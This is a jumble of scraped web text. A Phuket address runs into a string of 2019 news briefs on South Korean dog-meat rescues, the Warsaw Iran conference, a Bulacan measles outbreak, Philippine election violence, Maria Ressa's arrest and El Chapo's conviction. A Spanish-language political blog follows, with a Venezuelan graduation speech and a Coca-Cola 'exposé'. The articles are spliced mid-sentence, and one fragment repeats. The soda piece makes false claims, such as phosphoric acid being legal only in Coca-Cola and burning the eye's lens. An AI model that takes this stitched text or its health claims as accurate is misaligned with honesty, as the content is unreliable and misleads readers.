Address: 167/9, Moo 4, Soi Mai Khao 10, Mai Khao Sub-district, Thalang District, Phuket

Call: 076-681-029A rescue operation to save hundreds of dogs in South Korea from the slaughterhouse began Wednesday, as pressure mounts on the country to end its custom of killing canines for meat. About one million dogs are eaten a year in South Korea, often as a summertime delicacy, with the greasy red meat -- invariably boiled for tenderness -- believed to increase energy. But the tradition has earned criticism abroad and has declined as the nation increasingly embraces the idea of dogs as pets instead of livestock, with eating them now something of a taboo among young South Koreans. The two-week rescue operation by animal protection group Humane Society International (HSI) will save about 200 canines at a dog farm in Hongseong county, 150 kilometres south of Seoul. The dogs will then be sent to Canada and the United States for rehoming. "These dogs are no different from any other dogs. Once they receive some tender loving care that they deserve and that they need," Kelly O'Meara, an HSI official, told AFP. The farm was the 14th complex shut down by the group since 2015. The organisation said it has rescued around 1,600 dogs during that time, with farmers given support to move into other lines of work. One transformed his dog meat business into a blueberry farm. Lee Sang-gu, the owner of the Hongseong farm, said he decided to change his business because it was "not profitable anymore", noting even his family members were against eating dog. According to a survey in 2017, 70 percent of South Koreans do not eat dog, but far fewer -- about 40 percent -- believe the practice should be banned. It also found 65 percent support raising and slaughtering dogs under more humane conditions. The country's largest canine slaughterhouse complex in Seongnam city, south of Seoul, was dismantled in November. Activists who visited found electrocution equipment and a pile of dead dogs abandoned on the floor. There are currently no laws on how to treat or slaughter canines for meat in South Korea. While farmers have urged Seoul to include dogs under livestock welfare regulations, animal rights groups oppose doing so, seeking complete abolition instead.US and Israeli leaders gathered Wednesday in Warsaw for a conference they hope will pile pressure on Iran, just as the country's elite Revolutionary Guards were hit by one of the deadliest attacks in years. Opening with a dinner at the Royal Castle in Warsaw's old town, the two-day meeting looks to promote a US-led vision of the Middle East but is as notable for its absences as its attendees. Israeli Prime Minister Benjamin Netanyahu and US Vice President Mike Pence will headline the conference Thursday but few prominent European officials have come amid unease with the strident US line on Iran. Just as talks were getting underway, a suicide car bombing in southeastern Iran killed 27 troops of the elite Revolutionary Guards who were returning from patrol, according to the force. Iran quickly linked the attack to the Warsaw conference, where supporters of the formerly armed opposition were rallying in the streets. Dubbing the meeting in Poland the "WarsawCircus", Iranian Foreign Minister Mohammad Javad Zarif said it was "no coincidence that Iran is hit by terror on the very day" that the talks began. But an extremist group from the Sunni Muslim minority claimed responsibility for the attack in the volatile southeastern Baluchistan region bordering Pakistan. Sunni militants were also held responsible for a major assault on a military parade in southwestern Iran in September. The latest violence as well as the conference come just as the Shiite clerical regime was celebrating 40 years since the Islamic revolution that overthrew the pro-US shah. - Growing US pressure on Iran - Iran has been comparatively stable in a turbulent region in recent years. But President Donald Trump has boasted of growing unrest and economic insecurities after he slapped on biting sanctions. Trump walked away from what he called a "terrible" 2015 deal negotiated by his predecessor Barack Obama in which Iran constrained its nuclear programme in return for sanctions relief. Outside of the United States, Israel and Iran's Arab rivals, virtually the whole world still supports the agreement, with which UN inspectors say Iran is complying. Even Poland -- always eager to please the United States as it fears a resurgent Russia -- has gone to pains to say that it still backs the 2015 agreement alongside other European members. Poland and the United States toned down the conference to a vague goal of seeking stability in the Middle East without specifically mentioning Iran. Netanyahu has been unflinching in his criticism of Iran's leaders, who do not recognise Israel's right to exist. Speaking as he headed to Warsaw, Netanyahu said that Israel launched new military strikes Monday against Iranian-linked sites in Syria, where the Jewish state is adamant about eliminating the presence of Tehran and its ally Hezbollah. - Guarded hopes on Yemen - The sole senior official from a major European power to attend is British Foreign Secretary Jeremy Hunt, who said he wanted to focus on ending the crisis in Yemen. Several million Yemenis are on the brink of starvation and the country has suffered one of the worst cholera outbreaks in modern times as Saudi Arabia and the United Arab Emirates -- backed by the United States -- seek to bomb and blockade Iranian-linked Huthi rebels into surrender. Hunt -- whose country is also a major arms supplier to Riyadh -- met Tuesday evening in Warsaw jointly with US Secretary of State Mike Pompeo and senior officials from Saudi Arabia and the United Arab Emirates. In a joint statement, the four countries said they hoped to expand on a seven-week ceasefire that has largely held in the crucial port city of Hodeida but accused the Huthis of presenting obstacles. "The ministers agreed that there is a window of opportunity to end the conflict in Yemen and to redouble their efforts to reach a political solution," they said. - Trump ally seeks regime change - The Trump administration has insisted that it wants changes in Iran's policies in the Middle East but that it is not looking to topple the regime. Yet former New York mayor Rudy Giuliani -- who serves as Trump's personal lawyer but does not represent the US government -- openly called for regime change at a rally in Warsaw with Iran's exiled opposition. "We shouldn't be doing business with a nation that supports terrorism," Giuliani told the rally of the People's Mujahedin, a formerly armed group close to US conservatives that was classified by Washington as a terrorist movement until 2012. "I know we're united in that we want to see a regime change in Iran, so that there's a regime that is democratic, that's lawful," Giuliani said.King Don Felipe VI and Queen Dona Letizia of Spain arrived on Wednesday afternoon in Rabat for an official visit to Morocco, at the invitation of King Mohammed VI.

The visit, King Felipes second to Morocco since he assumed power, celebrates the enduring partnership and dense relations existing between the two countries.

Upon arrival at Rabat-Sale airport, the Spanish Sovereigns were welcomed by King Mohammed VI, who was accompanied by Crown Prince Moulay El Hassan, Prince Moulay Rachid and Princesses Lalla Khadija, Lalla Meryem, Lalla Asmae, Lalla Hasnaa and Lalla Oum Keltoum.

The royal procession then headed to the Royal Palace in Rabat where an official welcome ceremony was held in honor of the Spanish guests.

During this visit, King Mohammed VI and King Felipe VI will hold talks and will chair the signing of several conventions between the two countries.

In the evening, King Mohammed VI will host a dinner banquet in honor of his guests and their accompanying delegation, which includes several cabinet members.

The official visit will also be marked by the holding of a business forum.

The visit reflects the depth and quality of bilateral relations, and the shared desire to consolidate the multidimensional strategic partnership between the two neighboring and friendly countries, had stated the official statement announcing the Spanish kings visit.BULACAN, Philippines  Due to the continuous rise in measles cases, the Bulacan Provincial government together with the Department of Health (DOH) Region 3 will hold a mass immunization in all 596 barangays in the province.

Measles cases across Bulacan have already reached 286 in the month of January alone; a more than 3,000% increase to last years seven cases during the same month.

The highest number recorded was in San Jose del Monte with 48; Baliuag with 33; Bocaue with 32; and Marilao with 21.

The infection already killed six infants age five months and below.

The situation prompted the local government unit (LGU) to intensify its Oplan Ligtas Tigdas program which was recently launched in the municipality of Malolos through the collaboration of the DOH Region 3 and the Bulacan Health Office, and the LGU.

All heads of barangays and health workers were directed to make rounds in communities to administer the immunization especially to babies who have no records of vaccination.

Kailangan po namin ang pakiisa ninyo. (Mag) house to house. Ang target po natin ay ang mga nasa bahay wether theyre kinder,or day care (level) pero 1 month old or 6 months old. Ang kailangan po natin dito ay tulong ng mga kapitan, appealed Bulacan Governor Wilhelmino Sy Alvarado.

In response, heads of barangays vowed to support the program for their respective constituents.

Pupuntahan namin ang mga bahay-bahay per purok, may mga barangay health workers, volunteers, assured Barangay Calumpit chairman Eugenio Garsota.

Meanwhile, Dr. Wilbert Ilerya of Pulilan Municipal Health Office suggested a schedule for the immunization program per barangay to avoid further spread of the infection.

He also stressed that once the mass immunization is launched, the local health center should make sure that there is enough supply of vaccines.

This is a time of outbreak, kailangan may maibibigay na bakuna, para mahinto mo na yung paglaganap nung ng kaso ng measles, Ilerya said.

Story continues

The Health Regional Office, meanwhile, assured that there will be enough supply of vaccine for every barangay but in case of shortage, they can always ask for additional supply from the provincial health office.

As of now, wala po tayong kulang sa mga bakuna. Sapat papo ang ating bilang, If ever magkukulang man po we could always request from the

Research Institute for Tropical Medicine (RITM) to give another batch of vaccine from regular vaccination natin, assured Dr. Shiela Mae Geronimo, DOH-3s Development Management Officer 4.

Based on DOH-Region 3 records, Pampanga remains the highest in number of measles cases with 652; Bulacan with 560; and Tarlac with 333 cases.

DOH calls on the seven provinces in Region 3 to put up an isolation ward in every district and provincial hospitals to accommodate measles-infected patients.

We are having an outbreak at a regional level and the Bulacan level. We need to have isolation areas of all the hospital that we have whether it is level 1,2,3 hospital, Geronimo emphasized.  Marje Pelayo (with reports from Nestor Torres)

The post Mass immunization set across Bulacan amid measles outbreak appeared first on UNTV News.FILE PHOTO: CPP Founder and NDFP Chief political consultant Jose Maria Sison

MANILA, Philippines  Communist leader Joma Sison is not taking heed of the summons of a Manila court and the Department of Justice (DOJ).

Sison was asked to appear in court as part of the governments move to declare the Communist Party of the Philippines  New Peoples Army (CPP-NPA) as a terrorist group.

In a statement, Sison insisted that he is protected by the by the Refugee Convention and by Article 3 of the European Convention on Human Rights being a recognized political refugee in the Netherlands.

Therefore, he said, he cannot be deported to the Philippines.

He called the governments attempt at summoning him as malicious and futile.

It is a blatantly cheap political maneuver of the tyrannical Duterte regime which has become notorious for committing gross and systematic human rights violations for the purpose of terrorizing the people, the communist leader said.

The Manila Regional Trial Court Branch 19 also identified Mindanao Commission Secretary Antonio Cabanatan as having links to the CPP-NPA.

The Court hereby resolves to admit petitioners amended petition and direct petitioner to serve summons to respondent organizations, through Jose Maria Sison and Antonio Cabanatan, the order read.

But since Sison is out of the country and there is no clear information on Cabanatans address, the summons would be served through general publication.

The addresses of Jose Maria Sison and Antonio Cabanatan being unknown, service of summons shall be made by publication, it added.  Marje Pelayo (with reports from Rosalie Coz)

The post Joma Sison shrugs off DOJ, courts summons over CPP-NPA case appeared first on UNTV News.A Thai princess has apologised after her short-lived candidacy for prime minister earned a royal rebuke from her brother -- the king -- and sent jitters across the politically febrile country just weeks before elections. Thailand has been mired in political drama since Friday, when Princess Ubolratana's name was submitted as a prime ministerial candidate by the Thai Raksa Chart Party. The party is allied with the powerful Shinawatra clan, which has won all elections since 2001 but whose patron, the billionaire ex-premier Thaksin, lives in self-exile to avoid jail. Ubolratana's unprecedented bid to enter frontline politics unravelled within hours after King Maha Vajiralongkorn decried the entry of a royal into the political fray as "highly inappropriate". Thailand's monarchy is seen as above politics, although royals have intervened in public during times of political crisis. The princess was disqualified as a prime ministerial candidate by the Election Commission on Monday, which cited the royal command. It is now discussing whether to refer Thai Raksa Chart to the consitutional court for dissolution. In an Instagram post late Tuesday the 67-year-old princess apologised for her role in the drama. "I'm sorry that my genuine intention to help work for the country and fellow Thai people has created a problem that shouldn't happen in this era," she wrote. It was tagged with a hashtag: "#howcomeitsthewayitis". Ubolratana is the first-born of former king Bhumibol Adulyadej, but she gave up her royal titles when she married an American in 1972. After her divorce, she moved back to Thailand where she is regarded by the Thai public as a part of the royal family. While she said she was exercising her rights as a commoner to stand for premier, the palace statement said she is "still a member of the House of Chakri", referring to the name of the dynasty. The monarchy in Thailand is considered sacred and revered by its people, and is under the protection of draconian lese majeste laws. The king's word is considered final. The scuttling of her candidacy and potential moves to dissolve the Thai Raksa Chart party is a blow to Thaksin Shinawatra's political machine. The party was set to add to the vote bank of the bigger Shinawatra electoral vehicle, Pheu Thai, in an election where secondary parties are targeting seats via the party list system. Thaksin and his sister Yingluck -- who was overthrown in the 2014 coup -- live abroad to avoid convictions they say are politically motivated. Junta chief Prayut Chan-O-Cha, who toppled Yingluck's government, is running for prime minister in the March 24 poll. Party executives from Thai Raksa Chart have expressed contrition after the upheaval, but said they would challenge any attempt to disband the party. A media organisation affiliated with the Shinawatras was also in the crosshairs this week. Voice TV, owned by Thaksin's son Ponthongtae, was ordered Tuesday by the National Broadcasting and Telecommunications Commission (NBTC) to go off-air for 15 days after two of its programs caused "confusion and provocation".Grandmaster Flash, one of the pioneers of hip hop and DJ music, on Wednesday shared Sweden's Polar Music Prize with German violinist Anne-Sophie Mutter and US charity Playing for Change Foundation. The winners will each receive one million Swedish kronor (95,700 euros, $108,000) at a gala in Stockholm on June 11 in the presence of King Carl XVI Gustaf. Grandmaster Flash, whose real name is Joseph Saddler, is best known for his 1982 hit "The Message" about inner city violence, drugs, and poverty, and for developing DJ techniques such as scratching, backspinning and punch phrasing. The 60-year-old is the first hip hop artist to win the award. "Grandmaster Flash is a scientist and a virtuoso who has demonstrated that turntables and mixing consoles can be musical instruments," the jury said. "His adventures at the turntables  'the Adventures of the Wheels of Steel'  changed the course of popular music." Grandmaster Flash, who with his Furious Five group were the first hip hop act inducted into the Rock and Roll Hall of Fame in 2007, said in a statement that winning the Polar Music Prize was "such an honour, because a lot of times in our culture, what we do as DJs gets overlooked". The Playing for Change Foundation was honoured for providing music and arts education to underprivileged children around the world. The jury hailed the global project with 15 music schools and programmes around the world for having "impacted the lives of over 15,000 children and their surrounding communities." "The Playing For Change Foundation shows how music can be used to inspire, build bridges between people, create positive change, and conditions for peace." The jury also honoured four-time Grammy Award winning violinist Anne-Sophie Mutter. "For more than 40 years the German violinist has thrilled audiences around the world with her virtuosity and astonishing clarity," it said. "With her Stradivarius under her chin, Anne-Sophie Mutter is not just one passionate and risk-taking musician - she is also a storyteller." She also runs two charities helping young musicians. The Polar Music Prize was established in 1989 by the late Stig Anderson, best known as the manager of Swedish pop superstars ABBA, and selects two or three laureates each year. The prize's stated goal is to "break down musical boundaries by bringing together people from all the different worlds of music". Past laureates have included Metallica, the Afghan National Institute of Music, Sting, Bob Dylan, Bjork, Sonny Rollins and Ravi Shankar and Dizzy Gillespie.MASBATE, Philippines  Police authorities raided on Wednesday (February 13) the houses of Batuan, Masbate Mayor Charmax Jan Altarejos Yuson and his father, Vice Mayor Charlie Yuson III through a search warrant released by the Manila Regional Trial Court Branch 37.

The operation, spearheaded by the members of the Philippine National Police (PNP) Criminal Investigation and Detection Group (CIDG) Region 5, yielded high-powered firearms from both of the local officials properties.

According to CIDG-5 Chief PSupt. Arnold Ardiente, several unlicensed firearms were confiscated from Mayor Yusons home in Barangay Canvanez including a Bushmaster M16 rifle, a magazine for 5.56 caliber pistol, three cartridges and a hand grenade.

Meanwhile, recovered from his fathers beach resort were a M16 Armalite rifle loaded with magazine, three live ammunition, two units of gauge shotgun with 19 rounds of ammunition, one .45 caliber Colt pistol, 3 units of .38 caliber pistol and ammunition as well as one hand grenade.

Ardiente said they were tipped off that the duo has created a private armed group and has been concealing an artillery of loose firearms.

Though the two were not on site when the raids happened, authorities will pursue the charges of illegal possession of firearms and explosives against the Yusons.  Marje Pelayo (with reports from Lea Ylagan)

Erratum:

The previous version of this article erroneously stated that Mayor Charmax Jan Altarejos Yuson and Vice Mayor Charlie Yuson III are from Butuan City.

Corrections have already been made.

The post High-powered firearms seized from Masbate mayor, vice mayors houses appeared first on UNTV News.THE National Capital Region Police Office (NCRPO) has removed over 650,000 campaign materials all over Metro Manila.NCRPO Director Major General Guillermo Eleazar urged the candidates to also do their

THE Mactan-Cebu International Airport Authority (MCIAA) will ask that it be exempted from the election ban so it could proceed with the design of the P2.5-billion second runway.

MCIAA General Manager Steve Dicdican said it will ask the Commission on Elections (Comelec) to grant it exemption from the ban on public works prior to the elections in May. He said the project has been delayed because of questions on the proposal of the GMR-Megawide Cebu Airport Corp. (GMCAC) to construct it.

We debated on the mode of procurement. There was a proposal from GMCAC to undertake the project. But, finally, the MCIAA board decided in December 2018 it will be the one to procure it, Dicdican said.

When that was decided, we proceeded to come up with the terms of reference for its completion, he added.

The body will hold a public bidding for the consultant on the design of the second runway.

Dicdican said that, for now, the MCIAA runway is not yet congested but the board wants to be proactive.

The MCIAA will not wait for the time the airport will be congested before it would act.

He then cited the case of the Ninoy Aquino International Airport in Metro Manila where authorities were forced to act because the congestion problem had caused flight delays and passengers complained about the schedules and inconvenience.

Dicdican said the P2.5 billion is part of the P14.4 billion paid by GMCAC to qualify in the concession agreement to manage the airport terminals.

Of the P14.4 billion, MCIAA got about P4.8 billion. The rest went to the National Government.

Dicdican estimated the design to be completed by the winning bidder within six months. Once the design is submitted and the MCIAA board approves it, the construction of the second runway will follow.

On the other hand, lawyer Glenn Napuli, MCIAA assistant manager, said they are now getting input from the Civil Aviation Authority of the Philippines (Caap).

Caap has a measurement in the construction. Caap knows what will be implemented first, Napuli said.

Napuli said the goal is to finish the project before the term of President Rodrigo Duterte will end on June 30, 2022.

He said that while the proposal of GMCAC is still pending before the National Economic and Development Authority in Manila, the MCIAA cannot wait any longer, otherwise the project would not be completed within Dutertes term.QUEZON CITY, Philippines  The Commission on Elections (Comelec) admitted to being challenged by the rising incidence of election-related violence prior to the conduct of the 2019 midterm polls.

Talagang malala iyong nangyayaring election-related violence ngayon, Comelec Spokesperson Director James Jimenez said during an interview with Daniel Razon in UNTVs Digital Interactive Broadcast on Tuesday (February 12).

Kasisimula pa lang ng campaign period, in fact, before the campaign period, mas marami na tayong naitalang election-related violence at fatalities kumpara doon sa barangay elections and the barangay election is supposed to be more violent than the national elections. Medyo nakakabahala iyan, he noted.

As preventive measures, Jimenez said, election officers across the country are taking the initiatives to conduct peace covenants with local candidates to make sure that campaign activities will remain peaceful and safe.

Para kahit papano mayroon silang pinaghahawakan na garantiya mula sa kandidato na hindi sila magre-report to violence, he said.

Likewise, the poll body has coordinated with the Philippine National Police (PNP) to increase police visibility especially in areas included in the Comelecs election watchlist.

The Comelec also directed an intensified monitoring against gun ban and better enforcement of checkpoints across the country.

On Tuesday, the PNP released its latest count of areas under police watch which has reached 701.

PNP Chief Director General Oscar Albayalde said the number comprises 42 percent of the countrys 1,634 cities and municipalities.

Of the total number, 223 are under yellow concern. This means that these areas have an intense political rivalry or a history of election-related incidents in the previous polls.

Three hundred eighty-two (382) areas of immediate concern are placed under orange category due to serious armed threats or presence of rebels and terrorists, while 94 areas were placed under red or grave concern for exhibiting combined factors of the first two categories.

Story continues

The Autonomous Region in Muslim Mindanao (ARMM) has the biggest share in the red category with 27 areas of grave concern, followed by Bicol with 19 then Calabarzon and Western Mindanao with seven each.

For this reason, Albayalde said that the PNP is considering making adjustments in the deployment of police units.

With the changes of the hotspots now we will have to probably check on the deployment of personnel dahil dumami. Then we have to re-align our personnel. Also, with this decision of the Comelec, we have to re align our deployment also, the PNP Chief said.

Aside from adjusting deployments, the PNP will also focus on implementing its 8-point side plan to ensure the peaceful and safe conduct of the 2019 midterm polls.

These include the implementation of an election gun ban, intensified focus law enforcement operations, dismantling of private armed groups, early preparation of security and contingency plans and providing security to vulnerable candidates, among others.  Marje Pelayo (with reports from Lea Ylagan)

The post Comelec alarmed over severe election violence in 2019 midterm polls appeared first on UNTV News.THE National Capital Region Police Office (NCRPO) has removed over 650,000 campaign materials all over Metro Manila.NCRPO Director Major General Guillermo Eleazar urged the candidates to also do their

WITH party drugs reportedly proliferating among youngsters, officials of the Cebu Provincial Government are urging authorities to intensify the anti-drug campaign against other forms of illegal drugs aside from shabu.

Ex-officio Provincial Board Member Earl Tidy Oyas, chairman of the committee on dangerous drugs, said the police and the Philippine Drug Enforcement Agency (PDEA) 7 should also strengthen their operations against Ecstasy.

The sentiment was shared by Cebu Provincial Anti-Drug Abuse Office Chief Carmen Remedios Durano-Meca.

Meca said the same intensified operations and attention should also be given to other forms of illegal drugs.

For me, lets not only focus on shabu, although mao gyud ni pinaka-visible during buy-busts. What I am more concerned of are party drugs like Ecstasy and imported marijuana. How did they get here? she said.

In an earlier report, PDEA 7 Director Wardley Getalla said the Ecstasy tablets in Cebu are from Europe, adding that no one manufactures this kind of drug in the country.

The supply is usually flown into the Philippines from the Netherlands.

We at the anti-drug abuse office, as a policy making body, we can make recommendations for the national offices. I think thats one of the issues we need to address, in terms of the shipment, drug trafficking. How did it reach the Province when they are imported? Lets not focus only on shabu. I think PDEA should address other types of illegal drugs that are coming in, Meca said.

As to the governments drug rehabilitation efforts, Meca said PDEA has identified an area in the City of Naga, in the first district, as a possible site for their Balay Silangan.

Balay Silangan was initiated by the PDEA national headquarters last year as a program to reform small-time pushers who surrendered during Oplan Tokhang operations and those who were released from jail after they entered into a plea bargaining agreement.

Meca said Danao City is expected to finish renovating its existing facility for the Balay Silangan next month.

Story continues

She said private stakeholders in Danao have pledged help in operating the facility.

Theres a pre-negotiation already between PDEA and Naga City to come up with a Balay Silangan. Ang another location na ilang gi-project will be in Tuburan. Those are the two identified for pre-negotiation, Meca said Wednesday, Feb. 13.

Eligible for the Balay Silangan program are drug personalities who surrendered with no pending criminal cases, warrant of arrest, or identification as a high-value target; those who availed themselves of the plea bargaining agreement or those convicted under Section 15 of Republic Act 9165; and those who served terms for violation of Republic Act 9165.The CEO of news site Rappler was served with an arrest warrant at the companys headquarters in Pasig City, Philippines, on February 13, charged with violating the countrys cybercrime law, according to a statement from the news organization.

Video livestreamed to Rapplers official Facebook page shows the moment after chief executive Maria Ressa was issued the warrant by officers from the Philippines National Bureau of Investigation.

Ressa has been charged with cyber libel related to a 2012 story about businessman Wilfredo Keng. She briefly responded to reporters questions before leaving the building to present herself to police. In its statement, Rappler said that the story was published four months before the law that Ressa is accused of breaking was enacted.

In this video, Ressa walks through the a gaggle of reporters in the newsroom. She can be heard saying, Well go to the NBI. Its a shock, but were going and encouraging those in attendance to accompany her to police headquarters in Manila.

Rappler has been a vocal critic of the administration of President Rodrigo Duterte. In 2018, Amnesty International said that the Duterte administration had targeted Rappler. It described Ressas treatment as harassment.

Ressa was detained and was to remain at the National Bureau of Investigation overnight after a night court refused to process her bail, according to reports.

If somehow the government feels that by keeping me the night, they can intimidate me, no, we will hold the line, she told reporters. Credit: Rappler via StoryfulMexican drug lord Joaquin El Chapo Guzman is heading to prison after his conviction Tuesday on 10 charges, including engaging in a continuing criminal enterprise and multiple counts of distributing tons of narcotics into the U.S.

Prosecutors announced they will ask for him to be sent to prison for life without a chance for parole when he is sentenced on June 25.

Given the Sinaloa cartel leaders resources, money and prior prison escapes, Guzman, 61, is the perfect candidate for a Supermax penitentiary, in particular one called ADX Florence, according to Bob Hood, a former Supermax penitentiary warden.

The twelve jurors  eight women and four men held incommunicado and anonymously  convicted him of the ten charges ranging from money laundering to cocaine trafficking to organizing a criminal enterprise. . Joaquin Guzman  whose lawyer announced he will appeal  will not be sentenced until June 25, but he is likely to receive the maximum sentence, life without possibility of release. A sentence without return and without loophole, predicted at the end of the court the prosecutor Richard Donoghue.

The drug dealer could be transferred to an ultra-secure federal prison in Colorado. When the verdict was read, after six days of jury deliberation, his wife, who was in the room, Emma Coronel, discreetly made it an inch of victory.

The lawsuit described the methods of drug traffickers, who flood the US drug market and lead to a destructive gang war in Mexico.

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Para nunca olvidar



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Pinerachet



No More Trump



Adios Macri, hasta nunca



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Mexico en 1794



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USA TODAY



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LOS REVOLUCIONARIOS NO TOMAN CACA-COLA No se trata solamente de un capricho, sino de una sana actitud en todos los sentidos. Desde la solidaridad con el pueblo colombiano donde la empresa Caca-Cola ha cometido los mas grandes abusos contra sus trabajadores incluyendo el presunto secuestro y asesinato de los dirigentes del sindicato, hasta la proteccion de la salud de nuestros hijos, enviciados por ese jarabe de cola y azucar, que les produce obesidad prematura. Pensemos tambien los revolucionarios, que ese dinero que gastamos en los refrescos es utilizado por esas empresas para financiar el terrorismo en nuestro pais. Es cierto, no se trata solo de la Caca-Cola, sino tambien de la cerveza, de los cigarrillos y todos esos articulos innecesarios y mas que eso, daninos para nuestra salud. Podriamos incluso pensar en un dia de parada para cada uno de ellos. Es cuestion de irnos organizando. Pero para empezar, que tal si dejamos de comprar Caca-Cola y sus similares?



Cuando lo extraordinario se vuelve cotidiano...



Discurso del Acto de Grado en Barinas en 12 de Febrero del 2005 Queridos Graduandos:



Mas que un discurso, quiero dirigirles algunas palabras que escribi anoche, despues de visitar en las clinicas, a los estudiantes heridos, a consecuencia de los enfrentamientos con la policia de hace apenas dos dias.



Me ha tocado por razones del destino, ser la persona que les otorgue el titulo que bien merecieron con sus estudios. Y me siento sumamente orgulloso de serlo. Me consta que la Universidad de Los Llanos Occidentales Ezequiel Zamora, a pesar de lo dicho por los enemigos de esta universidad, es una universidad de primera.



No tendremos la mejor planta fisica, en los salones hace calor. En el comedor hace calor. Pero no es en lo material que las cosas deben valorarse. El mayor capital es el ser humano. Y en eso, nuestra UNELLEZ, lo digo con conocimiento de causa, esta sobrada. Los llaneros venezolanos son nobles, valientes, de coraje.



En la UNELLEZ hacen vida, en este momento, aproximadamente 67000 personas. El 97% de ellas son estudiantes. Jovenes que, como Ustedes hasta el dia de hoy, buscan ese titulo, que constata los anos de dedicacion y de estudio.



Los jovenes son el rio de la vida, ustedes graduados deben ser los capitanes de esos barcos que naveguen por el rio de la vida.



Nuestra Patria atraviesa momentos muy dificiles porque decidio dejar de ser esa matrona de edad vetusta y complaciente, para ser joven, rebelde y altanera. Nuestra imagen ya no es la de una acaudalada ricachona mayamera. En nuestro rostro brilla ahora la sonrisa del Che Guevara, con su diente delantero torcido, su pelo largo y su boina con la estrella.



Entender esto, a mi me ha tomado practicamente toda la vida. Tengo 53 anos, y ya perdi mi oportunidad de derramar sangre joven a causa de un ideal.



Ustedes son jovenes, estan en la flor de la vida. No cometan por favor el error de renunciar a su instinto de rebelion. El Che Guevara fue Ministro de a Economia en Cuba. Los billetes y las monedas se adornaban con su rostro. Nada de eso le importo. Primero fue a Angola donde paso un penoso ano de combate. Despues se fue a Bolivia, donde encontro la muerte. El Che era el ultimo que comia, el que cargaba la mochila mas pesada. Siempre se sacrificaba por los demas en un estoicismo que mas parecia fervor religioso que ideologia marxista.



Si quieren un modelo de vida. Ahi lo tienen.



Dije hace unos momentos que el 97% de la poblacion de la UNELLEZ es estudiante. Se imaginan Ustedes la Universidad que podriamos tener si todos los estudiantes tuvieran la abnegacion, la combatividad del Che?



Los momentos que se avecinan van a requerir de una gran unidad del pueblo venezolano. La alternativa de continuar siendo libres o regresar a la pobreza se nos planteara en los proximos dias de forma enmascarada, o quizas peor, desenmascarada, vestida con uniforme de soldado del Imperio.



Por nuestra parte podemos esperar lo mejor. La macroeconomia no podria ir mejor, la justicia social ha mejorado notablemente. Las misiones ocupan un papel muy importante en el pago de dicha justicia social. Aqui en Barinas ya hemos cumplido con dos de las misiones, la mision Robinson y la mision Sucre. No hay analfabetismo y no hay exclusion en la educacion superior, en estas tierras de Zamora.



Pero ay malhaya! Son precisamente estos exitos los que nos hacen mas antipaticos al Imperio. Para ellos, somos inclusive un mal ejemplo que se esta contagiando al resto del continente y cuidado sino al resto del mundo.



Nunca venceremos al Imperio. Estara siempre ahi, acechando. Por lo menos hasta que el mismo no se autodestruya. Porque, sepanlo senores, el neoliberalismo es canibal. Cuando le ataque el hambre, se devorara a si mismo.



Ustedes, queridos graduandos, a partir de hoy pasan a conformar la elite profesional que debe sostener este pais en los proximos cuarenta o cincuenta anos. Anos decisivos para el logro de nuestra libertad y del rescate de nuestra Soberania.



No se dejen comprar. No se dejen corromper. No se dejen gritar. No se dejen pisar. Que nadie les diga que comer, o que vestirse, o que leer. Sean siempre autenticos, rebeldes, contestatarios. Pero eso si, profundamente patriotas, dignos de ser hijos de Bolivar.



Muchas gracias y que Dios los bendiga.





Alguna duda?



Medio siglo de Holocausto Palestino



Oscar Zanartu Nacio en Caracas en 1960. Ha realizado exposiciones individuales en las galerias Minotauro, Clave y San Francisco, y en salas de Coro, estado Falcon, y Puerto Ordaz, estado Bolivar. En Paris su obra ha sido exhibida en el Centro Cultural Tanagra, en la Exposicion Cite Internationale des Arts, en las galerias De Mars y Arver Space, al igual que en la Galeria Municipal Levallois, en Levallois Perret (Francia). En muestras colectivas, su obra se ha expuesto en Belgica, Francia, Estados Unidos y Venezuela; en Caracas intervino en la exposicion "Del genesis a la memoria", 1995, organizada por la Fundacion La Previsora. En 1982 obtuvo el Premio Nacional Critven y en 1990 la Mencion de Honor Jose Antonio Paez, en la Embajada de Venezuela en Paris. En 1991 se le concedio el primer premio de Pintura Itinerante, en Levallois Perret, Francia.



OZ1



OZ2



OZ3



OZ4



Homenaje a Jason Galarraga



La Victoria de Samotracia



Odalisca



Mas fotos de la nevada del pasado agosto 2008



La Sierra Nevada de Merida



Nuestro precioso Churum Meru



Homenaje a Picasso



Autoretrato



Sabes lo que bebes en una Coca-Cola?

La formula de la Pepsi tiene una diferencia basica con la de la Coca-Cola y es intencional, para evitar el proceso judicial. La diferencia es a proposito, pero suficientemente parecida como para atraer a los consumidores de Coca-Cola que prefieren un gusto diferente con menos sal y azucar.

Mi profesion?

Tuve que aprender quimica, entender todo sobre componentes de gaseosas, conservantes, sales, acidos, cafeina, enlatado, produccion, permisos, aprobaciones y muchas otras cosas. Monte mi propio mini-laboratorio de analisis de productos.

Sal en la Coca Cola?

A patadas. El Cloruro de Sodio no solo refresca sino da mas sed, como para pedir otra gaseosa. Y no resulta desagradable porque la sal mata literalmente la sensibilidad al dulce... del que por cierto tambien tiene mucho: 39 gramos de azucar.

De los 350 gramos de producto liquido, mas del 10% es azucar, o sea que en una lata de Coca-Cola mas de un centimetro y medio es puro azucar en polvo. Aproximadamente tres cucharadas soperas llenas de azucar por lata!!La formula de la Coca Cola es muy sencilla:

Concentrado de azucar quemado caramelo- para dar color oscuro y gusto

Acido fosforito (para darle el sabor acido)

azucar (HFCS-jarabe de maiz de alta fructosa)

Extracto de hojas de la planta de Coca (Africa e India) y otros pocos aromatizantes naturales de otras plantas

Mucha Cafeina

Conservante que puede ser Benzoato de Sodio o Potasio

Dioxido de Carbono en cantidad para sentir freir la lengua cuando se bebe

Sal para dar la sensacion de refrigeracion

El uso del acido fosforito y no del acido citrico como en todas las demas gaseosas, es para dar la sensacion de dientes y boca limpia al beber. El acido fosforito literalmente frie todo y dana el esmalte de los dientes, cosa que el acido citrico lo hace en menor grado.Trate de comprar acido fosforito para ver las mil recomendaciones de seguridad que te dan para su manipulacion (quema el cristalino del ojo, quema la piel, etc...). Esta prohibido usar el acido fosforito en cualquier otra gaseosa; solo la Coca Cola tiene permiso. Porque claro, sin el acido fosforico, la Coca Cola sabria a jabon.El extracto de coca y otras hojas casi no cambia en nada el sabor. Es mas bien un efecto cosmetico. El extracto forma parte de la Coca-Cola porque legalmente tiene que ser asi. Pero sin el, no se nota ninguna diferencia en el gusto, que esta dado basicamente por las cantidades diferentes de azucar, azucar quemada, sales, acidos y conservantes.Sabor a que...? ja, ja, ja.

